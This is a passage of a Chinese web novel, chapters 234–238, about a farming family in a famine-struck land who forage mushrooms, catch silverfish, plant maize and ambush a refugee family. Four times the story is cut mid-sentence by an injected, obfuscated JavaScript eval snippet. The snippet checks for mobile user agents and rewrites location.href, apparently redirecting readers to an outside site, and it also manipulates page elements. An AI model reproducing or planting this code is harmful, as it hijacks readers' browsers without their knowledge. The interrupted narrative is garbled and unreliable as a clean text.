被姚春香扯了下袖子,凑到耳边说了句, “我看狗子是想上茅厕,二宝他们都不在家,他不好意思喊人帮忙。” 高春花这才反应过来,红着脸走过去扶住张狗子,趁刘小翠去拿柴火,赶紧带他去茅厕。 张狗子面红耳赤解决了人生大事,不好意思让高春花再扶,想要自己走回去。 高春花小声劝他, “狗子哥,你不用跟我这么见外,咱们很快就要成亲了,以后就是一家人了。” 张狗子想到再有两个来月就要成亲,心口不由有点闷,可听到“一家人”三个字,又觉得很暖心。 他很想有家人,哪怕春花不是他一开始就想娶的人,只要她愿意永远做他的家人,那成亲好像也不错。 高娇娇和杜映梅从地里回来,得知姚春香她们进山采蘑菇,立刻背上背篓追了过去。 她们平时挖野菜都在后山坡上,下过雨后坡上也会有蘑菇,但这种坡地上多是不能吃的狗尿苔,和有毒的花伞。 想要采到好吃的榛蘑、松蘑,就得上山进松树林。 高娇娇和杜映梅走了快一个时辰,才到了林子边,抬眼往上看,松树、柏树还有杨树、榛子树,以及一些不知道名字的树,密密麻麻,遮天蔽日。 杜映梅有点发愁, “嫂嫂,林子这么大,咱们去哪儿找大娘她们啊?” “跟着我,我有办法。” 高娇娇带着杜映梅,一头钻进了林子。 今天高春花都主动过来了,肯定幸运值很高,只要她留心听,听到一点高春花的心声,就能顺着心声找到她们。 即便找不到,她怎么把杜映梅带来的,再怎么把她带回去就是了。 刚下过雨的树林里蘑菇多的很,她又不是个倒霉蛋,还能连一点蘑菇都找不到。 一走进林子,就感到光线暗了下来,一路走来的燥热顿时消散了不少。 没有目标,高娇娇就根据以往采蘑菇的经验,往高大茂密的松树处走。 阳光透过厚厚的树冠钻进林子,照在挂在雨珠的松针上,一闪一闪仿佛星星挂在树端,十分绚烂梦幻,让杜映梅看的移不开视线。 这还是她第一次进到山中密林,看什么都觉得新鲜。 高娇娇在老家的时候跟着家里人进山采过蘑菇,对这种景色**以为常了,不会盯着上头看,注意力全在脚下。 刚下过雨,林子里很是潮湿,双脚踩在厚厚的落叶松针上,软绵绵的很好玩。 只是不一会儿鞋帮就被水浸湿了,袜子湿漉漉黏在脚指头上,凉凉的有点难受。 不过这点小小的难受,在发现蘑菇后,就变得微不足道了。 高娇娇一眼就看到一棵大松树下有朵已经冒出头的松蘑,她快步上前,把松蘑捡了起来,抖落泥巴,甩掉伞盖上的松针,放进背篓。 一扭头又看到旁边有几处隆起,扒开落叶,果然是松蘑,在黑黢黢落叶的映衬下,像一朵朵黄褐色的小花。 蘑菇真是一长就是一窝,高娇娇十分开心的将这些松蘑都摘了下来。 杜映梅见高娇娇一会儿就采了好几朵,不由有点急,顾不得再欣赏美景了,也学着她的样子找了起来。 不过她没经验,盯的眼睛都发酸了,也没找到一朵,而高娇娇又发现了一个蘑菇窝。 她喜滋滋用砍柴刀把隆起的松针拨开,看到下面露出一点白,激动万分,冲杜映梅喊, “快看我找到啥好东西了!” 杜映梅凑过去,见高娇娇用砍柴刀小心翼翼撬出了一朵沾满泥巴的米白色圆头蘑菇,不由赞叹道, “这个蘑菇可真好看,跟个假的一样。” 高娇娇无语地看了杜映梅一眼,这个形容,还真是特别的很。 “这可是松茸,很美味很贵的。” 杜映梅一听很贵,顿时来劲了,也不觉得不好意思了,追着高娇娇问个不停。 高娇娇把自己知道的找蘑菇技巧都告诉了她,杜映梅很快就在一个树根底下发现了异常。 她扒开松针一看,是松蘑。 见杜映梅很是失望,高娇娇忙给她鼓劲, “松蘑都找到了,松茸就不远了,蘑菇一长就是一窝,咱们肯定还能再找到松茸。” 杜映梅被打了鸡血,干劲十足,背着背篓,右手握着砍柴刀,左手拿着木棍,在林间落叶里不断扒拉,时不时蹲下翻看一番。 在她的不懈努力下,终于找到了松茸。 很大一朵,足有她拳头那么大,高 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有时候人比野兽还可怕,她不会轻易就放松警惕。 那人抬起头,露出灰扑扑的侧脸,看着有点眼熟。 等他抬起袖子抹干净脸,高娇娇放下了握着砍柴刀的手,无语问道, “小刘大夫,你这是干啥呢?” 刘一手吓了一跳,猛地转过头,见是高娇娇,不由抚着心口大喘了口气。 刚跑过来的杜映梅见刘一手脸上灰一道白一道,跟花猫一样,没忍住,噗嗤笑出了声。 刘一手红了脸,尴尬解释道, “我来采马蹄包,不小心捏爆了。” 高娇娇好奇, “你采哪个干嘛?那个很软很容易爆,味道也就那样,实在想吃,不如去城里买块嫩豆腐,吃着一样味道,还方便。” 刘一手叹了口气,无奈道, “马蹄包可以用做药材,配置止血药,城里药材涨价涨的太厉害了,咱们的止血药不多了,全靠买实在太贵,我只能自己想办法采药配制。” 高娇娇也想叹气,不是因为药材涨价,而是这令人无奈的世道。 第二百三十四章 抓鱼捞虾 朱钰悄悄告诉高娇娇,西北军在征召流民中的青壮入伍,把年龄放宽到十三到四十岁了。 以往朝廷征兵,年龄要求可是十六到三十五,把年龄放宽那么多,明显就是为了凑人头。 若无意外,这些人会被送往豫州平乱的战场上充当炮灰。 朝廷一再催促顾大将军派兵,顾大将军不愿意征调西北军,不想动摇他在西北的根基,但又不能违抗朝廷旨意,便出此下策。 据说愿意入伍的男子,每人可以得到二十斤粮食的安家费。 二十斤粮食买一条人命,听上去很过分,可对于一无所有快要饿死的流民来说,这点安家费足以让他们动心。 更何况,若是不要粮食,可以举家落户。 若是落户之地还有无主的田地,还能分给他们。 这对于举家逃荒过来的流民,简直就是无法拒绝的诱惑。 朱钰估计用这个办法,顾大将军要不了多久就能凑够五万大军,不日就能赶赴豫州平乱。 暴民虽然看着凶悍,其实不过是乌合之众,只要指挥得当,即便是一群新兵蛋子,也有打赢的可能。 但是这五万人最终能活下来多少,会不会死伤惨重,就不好说了。 高娇娇很难评判顾大将军这种做法的对错,比起无法落户死在逃荒路上,好像死在战场上更好一点。 起码孤身一人的还能吃几天饱饭,有家人的牺牲一个换得全家活路,再怎么也比全家一起等死强。 但对于本就因为受了灾无法在家乡生存,千辛万苦才逃到这儿的流民来说,这个结果实在太过残忍。 只能说乱世人命如草芥,无权无势的百姓只能随波逐流,沦为上位者权利争夺的牺牲品。 “嫂嫂,嫂嫂,你发什么楞呢?” 杜映梅的喊声,惊醒了高娇娇。 意识到自己想远了,高娇娇忙收回了思绪,对还在努力擦脸,却越擦越狼狈的刘一手道, “我有办法不让马蹄包破就能把它采起来,你一个人在林子里乱转不安全,跟着我们吧,我们帮你采。” “那太好了,我进来林子快两个时辰了,才弄到三个完整的。” 刘一手高兴坏了,又有点懊恼, “早知道我就厚着脸皮让你娘她们帮我了,我还是没经验,没想到这玩意儿这么难采。” 高娇娇惊喜不已, “你见过我娘,她们现在在哪儿呢?” 刘一手说了说在林子里偶遇姚春香她们的情况,回忆了下她们的对话,告诉了高娇娇一个地方。 他听到高春花说听到有水声,想去找找林子那头是不是有河,姚春香她们没拒绝,可能会去找一找。 高娇娇一听这话,就知道高春花肯定要过去找,娘她们经历过旱灾,对水有着很深的渴望,听到有河,肯定会去看一看。 以防万一将来再闹旱灾,连找水都不知道去哪儿找,跟她挖地皮菜时在小溪边做标记一个心理。 高娇娇带着杜映梅和刘一手,一边寻找姚春香她们,一边继续采蘑菇。 高娇娇想到采马蹄包的办法就是把它当成嫩豆腐,找几片大叶子折成一个三角碗,用砍柴刀把马蹄包直接连泥带松针一起剜出来,用三角碗接住,跟包粽子一样包起来。 全程不用手触碰,利用叶子的茎秆硬度,支撑出来一个空间,防止马蹄包之间互相挤压,保证马蹄包的完整。 刘一手大开眼界,赞不绝口。 之前师父总感叹高家最适合学医的是高娇娇,还夸她脑子活络能干果断,刘一手是有点不服气的。 他那么晚才开始学医,把那么多本医书都背的滚瓜烂熟,开方配药都捣鼓的不错,自认为脑子也算聪明,所以他不觉得高娇娇有多厉害,只是偶尔羡慕她力气大。 但这次,刘一手心服口服了,师父还是师父,看的比他透彻啊。 高娇娇这脑子确实转得快,这么快就能想到这么好的办法,不用来学医真是可惜了。 高娇娇被刘一手看的起了一身鸡皮疙瘩,这人也就比她大几岁,用这么一副慈爱遗憾的眼光看着她干啥? 多渗人的慌啊! 杜映梅也受不了刘一手总盯着她嫂嫂瞧了,三步并两步,硬挤到他们两人中间,死死挡住刘一手的视线。 刘一手不明所以,感觉自己好像是被针对了,但又想不明白自己为什么会被针对。 三人别别扭扭继续往里走,很快就走到了一个分叉口。 高娇娇竖起耳朵听了又听,隐约听到右边有水声,便循着水声继续往前。 没多久,水声变得明显了起来,哗啦啦的流水声听的三人都很激动,不由加快了脚步。 穿过树林,看到了一条狭窄崎岖的河沟,湍急的河水从乱石中流过,激起一阵阵水花。 杜映梅欢呼一声冲到跟前,刘一手也急忙找了块能蹲下的石头好好洗把脸。 高娇娇左看看右看看,觉得这里没什么可以采摘的东西,水流的这么急也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342627|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有鱼,想来应该不是高春花的目的地。 按照刘一手跟高春花他们相遇的方向推算,她们应该在上游。 杜映梅不管高娇娇去哪儿,只要带着她就行。 刘一手还得指望高娇娇帮着采马蹄包,也只能跟着她。 三人往上游走了大概两刻钟,高娇娇终于听到了高春花的心声。 继续往前走,总算在一个水潭边看到开心割水芹菜的姚春香等人,和不甘心盯着水潭的高春花。 见高娇娇过来,姚春香忙招呼她, “娇娇,你们快来,这里水芹菜多的很,还有野葱,我们正愁拔的太多没东西装呢。” 高娇娇走过去一看,还真是弄了很多,背篓篮子筐子都快装满了,别说吃一顿,十顿都吃不完。 这里应该没什么人来过,加上有水土肥,野菜长的特别茂盛,一片连着一片,多的数不清。 不过比起野菜,水潭里的东西才是高春花想要的。 四十二的幸运值呢,好久没见过这么高的了。 高娇娇让杜映梅把她俩采到的蘑菇倒到一个背篓里,腾出一个背篓给姚春香她们用。 姚春香等人见杜映梅摘了这么多松蘑和松茸,不由都纷纷围上来问她从哪儿采的,她们一路过来可没采到几个蘑菇,要不是有野菜,今儿都白来了。 杜映梅兴致勃勃跟姚春香她们说着采蘑菇的经历,高娇娇走到高春花身旁,俯下身子看向水潭。 水潭里的水很清澈,水也不算深,最多也就到她大腿那么深。 一眼就能看到底下的碎石细沙和水草,也能看到两三寸长的小银鱼和透明的虾。 “这里头的鱼虾真不少,全抓了够做两盘菜了。” 高娇娇忍不住咽了口口水,野葱炒河虾可鲜的很,她想吃。 但是,水太凉了,跟冰水一样冻手的很,根本下不去。 高春花见高娇娇试着用手撩水,忙提醒道, “姑姑,这河里的水都是山上的雪水化的,特别凉,比村里的河水凉的多。” “我感觉到了,你打算怎么抓?” 高娇娇收回手,在衣服上擦干,贴在脸上暖了暖。 高春花叹了口气,她来的时候也不知道是鱼,还以为是蘑菇呢,没带任何工具。 这里离村里那么远,跑回去拿太费劲,再说山里天黑的早,一来一回还没怎么捞说不定天就要黑了。 可就这么放着眼前的鱼虾不要,又实在可惜。 第二百三十五章 种番麦 高娇娇想了想,她们不能下水,但鱼虾可以游上来啊。 这个水潭又不大,只要跟钓鱼一样把鱼虾引上来,用篮子就能捞。 高春花觉得这个办法兴许能成,两人立刻行动起来。 挖蚯蚓做诱饵,砍根树枝当鱼竿,用细藤条当鱼线,把鱼竿固定在岸边石头缝里,用藤条吊着剁的快碎了连成一串的蚯蚓肉,挂在水面上。 高娇娇将篮子缓慢浸入水中,蹲在离水面最近的石头上,等着鱼虾上钩。 蚯蚓肉不断落入水中,鱼虾逐渐聚拢过来,等到鱼虾越聚越多,高娇娇果断出手,一把提起篮子。 活蹦乱跳的鱼,晶莹剔透的虾,铺满了整个篮子底。 看的姚春香几个都眉开眼笑,纷纷夸她俩这个办法好,李二娘拨弄着小鱼好奇问道, “这鱼可真白,没见过,软的很,感觉身上跟没骨头似的。” 姚春香本来还没在意,以为就是长白条,听到李二娘这么一说,忙抓起一条仔细看了看,惊呼道, “居然是银鱼,这里怎么会有银鱼?这河的上头不会是连着湖吧?” 高春花看着才一篮子幸运值就掉了十一的鱼虾,忙问姚春香, “奶,银鱼是不是很贵?” 正朝河流上游眺望的姚春香,怔了下,点头道, “挺贵的,活的能卖到五百文一斤。 以前在并州府,只有有钱人家才会买来给孩子吃。 这鱼没刺,肉嫩,小孩吃了养身子。” 高春花高兴坏了,她就说今天这么高的幸运值,不可能只有野菜。 李二娘等人咂舌不已,半两银子一斤啊,这么贵,得多有钱的人家才能吃得起。 高娇娇越发馋的慌,她还没吃过银鱼呢,想尝尝。 罗子娘带了个装水的大竹筒,知道这鱼贵,便腾出来给高娇娇她们装鱼用,还帮着她们挖蚯蚓,做诱饵。 高娇娇捞了一篮又一篮,也不知道忙活了多久,反正是累的胳膊也酸了,腰也疼了,竹筒也装满了,鱼虾也不上钩了,这才停下。 眼看都快中午了,姚春香忙招呼众人赶紧回家。 回去走的是高娇娇和杜映梅来时的那条路,路上顺便又采了些蘑菇,没地方装就用衣摆兜着。 顺便也帮刘一手采了不少马蹄包,众人一边走,一边说着回去了怎么吃野菜,怎么炒河虾,银鱼要不要拿去卖,蘑菇怎么晒才能保存的久。 时不时就爆发出一串大笑,哪怕是说起下暴雨的时候,也依然笑呵呵。 似乎只要房子没塌,庄稼还在长,出门能挖到野菜,偶尔还能弄到点山珍,日子就照样能过的有滋有味。 高娇娇看着她们,觉得自己的忧虑真的有点多余,与其担心还没发生的事,不如过好眼下每一天。 只要她按照自己的想法一直努力,总能在这乱世中拥有自保之力。 野葱炒河虾香得很,银鱼煎蛋更是吃的人馋掉舌头,只可惜分量太少,每个人吃能尝尝味儿,非但没解馋,反倒把馋瘾勾了起来。 杜映梅小声抱怨道, “高春花真小气,咱们这么多人只给了这么点银鱼,那么多都给了张狗子。” 高娇娇好笑地捏了捏杜映梅的脸, “没事,咱还有松茸呢,一会儿汤炖好了你多喝两碗。” 杜映梅顿时就又开心了,姚大娘说松茸难得,要吃就吃顿好的,把那只风干的野鸡拿了出来,跟松茸一起炖汤喝。 鸡汤就够美味了,她想象不到加了松茸的鸡汤能有多好喝。 屋里,高春花端着一碗银鱼炒蛋,坐在炕边喂张狗子。 张狗子不好意思,想要自己吃,高春花不肯, “你伤还没好利索呢,别乱动,小刘大夫说这银鱼能健脾补气,是好东西,你多吃些。” “你也吃,你也得补补。” 张狗子吃了两口,见高春花光喂他,自己一口也不吃,忙说道。 高春花心里甜的很,眉眼满是笑意轻声道, “我在外面吃过了,这些都是给你的,那个水潭里还有很多银鱼呢,明天我带二宝过去再捞一些,回来给你做汤喝。” 张狗子听她这么说,便没再退让,大口大口吃了起来。 这鱼吃着一点腥味也没有,又鲜又嫩,真是美味的很。 高春花见张狗子吃得香,悄悄咽了口口水,她拿走了一半银鱼炒蛋,当然不好意思再吃剩下的。 不过只要狗子哥吃的开心,她不吃也是开心的。 屋外,听到高春花心声的高娇娇无奈撇了撇嘴。 一味心疼别人,不知道心疼自己的人,注定不被人疼。 算了,好言难劝将死的鬼,她还是多吃点水芹菜下下火吧,这鬼天气,昨天下大雨冷的要命,今天出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342628|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大太阳又晒的人冒火。 吃了水芹菜喝了鸡汤,摸着被美食撑的圆滚滚的肚子,高娇娇回到家简单擦洗一下,倒头就睡。 昨晚没睡好,明天还要种番麦,她得好好睡一觉,养足精神。 下过雨的地,经过一天暴晒,表面已经干了,可以下地干活了。 牵着牛,套上犁耙,把地再简单犁一遍,挖好沟做好垄后,高娇娇和杜映梅开始种番麦。 番麦种子昨天已经用草木灰搅拌过了,这是高娇娇自己想的法子。 她觉得这里的气温不稳定,为了防止病虫害,也为了保证发芽率,就试着用草木灰搅拌了下。 高长天对高娇娇提前种番麦的事十分重视,不仅他重视,陆祥昆和村里的种地老把式都很重视。 见她用草木灰拌种不由都皱起了眉头,草木灰能杀虫他们都知道,但直接往种子里拌入草木灰的做法,他们谁也没见过。 高娇娇简单解释了下自己的做法,高长天等人觉得有点道理,但还是忍不住担心。 有种不靠谱又有点靠谱的别扭,弄的人心里很是难受。 不过高长天都没说什么,陆祥昆等人便也忍着没提出异议。 可当看到高娇娇光着脚踩在地垄上,一脚一个坑飞快往前走,杜映梅提着桶,跟在后面往她踩出来的坑里扔种子。 陆祥昆等人实在忍不住了,这不胡闹嘛,哪儿有这么种地的? 高长天也觉得闺女这个种法怕是不太行,朱钰却抚着胡须抢先夸道, “娇娇这个法子好,省时省力,比用锄头挖坑好。” 陆祥昆不赞成, “朱先生此言差矣,锄头挖坑可保证间距,也能确保坑的深浅,种地不比别的,来不得半点偷懒。” “对啊,种地就跟伺候人一样,得小心仔细,哪儿能跟这一样,随手丢进去颗种子,就指望它长大结果啊。” “就是,我看她这坑踩的太深了,不好发芽,而且每个坑里扔的种子都三四粒,太多了,太浪费了。” “实在不行还是咱们帮她种吧,我在旁边看着都急的慌。” “小姑娘家家估计以前也没种过,说到底还是不应该在这个时候播种,这外藩来的庄稼肯定跟咱们这儿的不一样........” 众人你一言我一语,冲朱钰说个不停,大有让他去拦住高娇娇,阻止她胡闹的架势。 第二百三十六章 看看情况 朱钰不紧不慢,等他们说的差不多了,突然来了句, “你们以前种过番麦?知道外藩的人都是怎么种的?” 众人顿时没了声,陆祥昆努力挣扎着道, “我们是没种过,可我们种了那么多年麦子——” “番麦可不是麦子,番麦的种子可比麦子大多了,杆子长得也高,结的也不是麦穗,而是棒子。” 朱钰说着,夸张的比划着, “这么老大,一株上头只长一两个,你们肯定想不到它是怎么长出来的。 我也想不到,所以啊,就让娇娇种个看看呗,兴许能成呢。” 陆祥昆被朱钰说的没话说,只能一脸纠结地看着高娇娇跟玩一样,把五亩地都种上了番麦。 高娇娇本来想种十亩的,姚春香说番麦种子不多,能分给她家的就只有这么多,让她剩下的地留着种豆子,因为她家牲口多,需得为过冬多囤积些草料。 高娇娇觉得娘说的很有道理,打算往剩下的地里种上黄豆和豌豆。 种黄豆是牲口喜欢吃豆秧和豆渣饼,种豌豆是她喜欢吃豌豆糕,尤其是放了红枣或柿子的豌豆糕。 至于做豆腐,还是交给别人吧,她上次信心十足折腾一通,结果做出来一盆像浓稠酸奶的豆花。 卖相不好,口感更差。 人不可能十全十美,她在厨艺上实在没什么天赋,就不折腾了。 对此,姚春香很是心累摆手道,你开心就好。 等到高娇娇随心所欲种完了地,天也完全暖和了起来。 荠菜老了,蒲公英也不鲜嫩了,野葱水芹菜也被拔的差不多了,香椿也过了最好吃的时候,连水潭里的鱼虾看到饵料都不往上凑了。 但是榆钱能吃了,槐花也快开了,还有枸杞芽,苜蓿头,面条菜....... 春天的山野像敞开大门的宝库,好东西多的大家伙都有点应接不暇。 不过最受孩子们欢迎的还是茅草芽,从茅草中抽出来嫩嫩的芽,拨开,里面白白的絮絮口感绵软清甜,是孩子们最喜欢的零嘴。 高娇娇也跟着抽了一回,差点没把眼睛盯瞎,也没找到几根。 见三宝他们一会儿就抽出来一把,比谁的长,谁的好吃。 叽叽喳喳,吵吵闹闹,欢腾的不得了,不由很是羡慕,小孩精力真是好啊。 每天大清早被拉去操练,跑圈打拳站桩,累的满头汗。 吃了早饭又要去学认字算算数,下午还要去割草捡柴,帮着家里干杂七杂八的小活儿。 就这,还能抽出空来玩,捞鱼、抓虾、钓青蛙、抽茅草芽,忙的不得了,也开心的不得了。 实在让她这个种了三天地,就腰酸腿疼胳膊没劲儿的大人羡慕啊。 夕阳的余辉照耀着大地,高娇娇枕着双臂躺在河边草坡上,听着孩子们的嬉笑,看着对面地里忙着种豆种瓜种菜的众人。 春风吹拂过脸颊,带起一缕调皮的头发,痒痒的她只想笑。 比起高娇娇这边的岁月静好,背着包袱跟在杜衡身后,已经走的脚疼腿酸的凌十三很不好。 他快走两步追上杜衡,再一次问道, “还有多远才能到啊?” “快了,看到前头那棵歪脖子树了没?越过那棵树,再往前走个四五里就到了。” 杜衡擦了把汗,指着前方说道。 凌十三脚下一趔趄,苦着脸哀嚎, “还有四五里,我的天啊,你家怎么那么远? 我就说在城里雇个车,我出钱,你不干,非要走着回去。 这么老远,你想累死我啊,我脚都磨出来水泡了。” 杜衡不屑冷哼, “不过才三十多里路,就把你累成这样了? 你逃荒的时候随便哪天不得走个五六十里,也没见你叫唤成这样。” 凌十三更是叫苦连天, “我逃荒的时候又不是靠走路,我们有马,还有马车,我就算遇到土匪逃跑的时候都没走这么远过。” 杜衡白了这个不是人间疾苦的少爷一样,冷冷甩下一句, “又不是我求着你来的,不想走你就坐这儿吧,我先走了。” 说完,就再也不理会凌十三,自顾自往前走。 他本来就不想带凌十三回来,好不容易才回家一趟,他还想帮家里多干点活呢,带个凌十三,只会添乱,还会吃很多饭。 至于不雇车走着回,倒不是为了省钱,主要是为了安全。 自从城里不再接收流民,围堵在城门口的流民被驱散后,官道上就隔三差五冒出被抢被打的事来。 这种时候,他再雇个马车大张旗鼓回村,那不是明摆着等人抢呢。 凌十三见杜衡真不管他了,只能郁闷的追了上去。 突然,杜衡停下了脚步,十分严肃地冲凌十三做了个噤声的手势。 凌十三顺着杜衡手指的方向,看到前方那个歪脖子树下,冒出来几个人。 面黄肌瘦,衣衫破烂,头发乱糟糟,一看就是流民。 一个看不出年纪,身量中等的男人把一把也不知道是野菜还是什么的东西,递给一个年迈的妇人。 年迈妇人给两个小孩各分了点,把剩下的放进嘴里慢慢咀嚼了起来。 她嚼的很艰难,似乎是牙口不好,枯黄干瘦的脸上布满了皱纹,昏黄的眼眸茫然呆滞地望着前方,一下又一下地嚼着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342629|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样子,不像是人,更像是老牛一般。 两个孩子看上去也矮小瘦弱的很,最多七八岁的样子,瘦的眼窝都有些凹陷。 他们不像老妇人一样吃的慢吞吞,而是大口大口往下咽,跟饿疯了的猪崽子一样,恨不得连根带叶一下子全部吞到肚子里。 一人吃了一把,吃完嘴角还残留着绿绿的汁液,直勾勾地盯着老妇人,眼中满是对食物的渴望。 看的凌十三心里难受的慌,他逃荒的时候一直跟家人在一起,那些流民团伙见他们不好惹,都会主动避开。 他并没有近距离接触过没东西吃的流民,即便看见他们挖野草树根,也以为他们要拿去煮着吃。 没想到居然会生吃,那些也不知道是野菜还是野草的东西,看着就不好吃,也不知道他们是怎么咽下去的。 凌十三扯了扯杜衡衣袖,用眼神询问他还要继续躲在树后看多久? 杜衡微微摆手,示意凌十三安静,他还要再看看情况。 等啊等,终于等到老妇人吃完,起身了。 她捶了捶腰,问男人, “再有一个时辰天就黑了,咱们还要往前走吗?” “走吧。” 男人的声音非常粗哑难听,他面无表情望着远方,眼神苍凉的很。 一个小孩仰起头问男人, “爹,咱们要去哪儿?” 男人淡淡回道, “不知道。” 老妇人叹了口气,好似含着无尽的哀愁,像是在问男人,也像是在问自己, “要是没地方愿意收留咱们,这么一直走,走不动了怎么办?” 男人拉上孩子,抬脚往前走,语气平淡到没有一丝波澜, “那就死在路上吧。” 老妇人不说话了,孩子们茫然地跟着大人往前走,本应该充满童真的眼睛里,只有一片死寂。 等他们走出去很远了,杜衡才对凌十三道, “走吧。” 凌十三终于可以说话了,如小鸟出笼一般问个不停, “你到底在看啥?等那么久干嘛?那家人有什么不对吗? 他们到底是从哪儿冒出来的?我看着挺可怜的,好像没什么不对吧.......” 杜衡一言不发,闷头赶路。 但他的脚步没一开始那么快,一直不远不近地跟在那家人后面,弄的凌十三抓耳挠腮,猜不出他想干嘛。 一家四口跟老黄牛一般机械往前走,从太阳西斜走到太阳落山,从霞光漫天走到天色渐暗。 “爹,那里,那里有个村子!” 小孩喊了声,男人和老妇人停下脚步,看向岔路口不远处的村庄。 第二百三十七章 我们村都是良民 老妇人震惊地张大了嘴巴,不敢相信自己的眼睛, “铁柱,我是不是眼花了?我咋看到好多人家的烟囱都在冒烟?” “娘,你没眼花,那个村里确实有很多人家里正在做饭。” 常铁柱看着炊烟袅袅的村庄,木然的眼睛里涌出一丝光亮。 这个村的人都能吃上饭,那会不会发发善心,愿意收留他们? 衙门里的人说,不让他们进城了,让他们自己找出路。 **去哪儿找,听人说顾大将军要征兵,去了就能给二十斤粮食,不要粮食还能帮家里人落户。 他想去,可老娘不让,说他要是走了,她一个人带着两个孩子种不了地,照样活不下去。 他只能带着老娘和孩子继续往前走,找愿意收留他们的村子。 衙门里的人还说,如果他们有亲戚在本地,可以找亲戚帮忙作保落户。 他没有亲戚,但是若是有好心人愿意把他们当成亲戚,愿意收留他们,他们也能落户。 这种好事他本不该奢望的,可他真的走不动了,孩子和老娘也走不动了,他不想千辛万苦走到这儿,还要死在路上。 眼前这个村子,跟他们这一路走过来看到的村子很不一样。 他们见过的村子大都很荒凉,村子周围的田地都是一片灰黄。 地里的庄稼不是在寒潮时冻**,就是在倒春寒时冻**。 村里人自己都快没饭吃了,都在等着衙门救济,哪儿还有余粮收留他们。 可这个村子不一样,这个时候还能吃上饭,他们可能没那么缺粮,说不定会有好心人愿意帮他们一把。 或者有好心的地主老爷,愿意买下他们一家也行啊,只要能活下去,哪怕为奴为婢他都愿意。 越往里走看的越清楚,常铁柱几人越震惊。 道路平整,地上甚至都没有什么坑,路边也没有杂草,一看就是经常有人打理。 层层叠叠的梯田里都是绿油油的,扛着锄头犁耙回家的人,虽然挽着袖子,裤腿脚上都是泥,但衣服上补丁不多,也不破旧。 最最重要的是,他们的说笑声很大很响亮,听上去中气十足,高兴爽朗。 这是城里那些官爷们都没有的精神气。 常铁柱不由加快了脚步,他迫不及待想进村看看情况。 孩子跟不上他的脚步,走的趔趔趄趄,常铁柱不知哪儿来的力气,弯腰抱起了孩子,催促老娘, “快,走快些。” 悄悄跟在后头的凌十三杵了下杜衡,小声问道, “前面就是你们村了吧,他们都快走到村口了,你还不动手?” 杜衡无语地看向凌十三,动什么手? 难道让他冲过去**? 他只是想看看这几个人的目的,看看他们是不是流民团伙和土匪派出来探路的。 不过村里的人是不是也太没有警戒心了,就这么任由陌生人摸到村口也没有反应? 就在杜衡心里犯嘀咕的时候,凌十三被突然发生的一幕惊地直接爆了句粗口, “嚯,吓死小爷了,这是什么情况?” 杜衡扭头一看,笑了。 突然就被绳子套住脚,被整个吊挂在树上的常铁柱也吓坏了,他死死抱住孩子,急忙大喊, “好汉饶命,好汉饶命,我们就是路过想来讨口水喝,你们别杀我们,孩子还小.......” 同样中了埋伏,被套住脚摔倒在地的老妇人,也紧紧抱着孩子大哭求饶起来。 带队巡逻埋伏在路旁,早就发现了这家人的罗子三人,完全不理会这家人的哭喊求饶,厉声喝道, “你们从哪儿来?想干什么?除了你们,还有没有同伙? 老实交代,敢胡编乱造就把你们扔到山里喂狼!” 常铁柱看着罗子从腰间**的大刀,再看跟在他身后的两个彪形大汉,此刻肠子都快悔青了。 他早就该想到,这样的年景里还能吃上饭的地方,只有土匪窝啊。 可他怎么也没想到,土匪居然敢这么明目张胆住在路边霸占村庄,他们这次真要完了,死定了。 常铁柱一脸绝望哭着道, “我们是从豫州庆阳县逃荒过来的........” 说到这一路的心酸,说到家人相继离世的场景,常铁柱不禁泪流满面,泣不成声。 倒吊着他再也支撑不住,手一软,怀里的孩子便直直往下掉。 “小叔——” 孩子惊呼,凌十三忍不住想冲过去救人。 杜衡一把拽住了他,凌十三又气又急,一把甩开, “不管怎么样,孩子是无辜的啊,就算他们是探子,你们总不能连孩子都杀——” “住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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相逢即是有缘,咱们也算是不打不相识了,走,去我家,我让我媳妇给你们做点好吃的,就当是赔罪了。” 说着,就抢过常铁柱怀里的孩子抱在怀里,孩子吓的刚要哭,嘴里就被塞进了一颗糖,顿时愣住了。 罗子笑眯眯摸了摸孩子的头,一脸慈爱道, “甜不甜?我家里还有很多好吃的呢,走,我请你们吃肉!” 跟在罗子身后的两人也有样学样,一个抱起孩子,一个背起老妇人。 常铁柱只能迷迷糊糊跟着他们,大步流星往村里走去。 第二百三十八章 看谁还敢说你长不高 凌十三傻了眼,喃喃道, 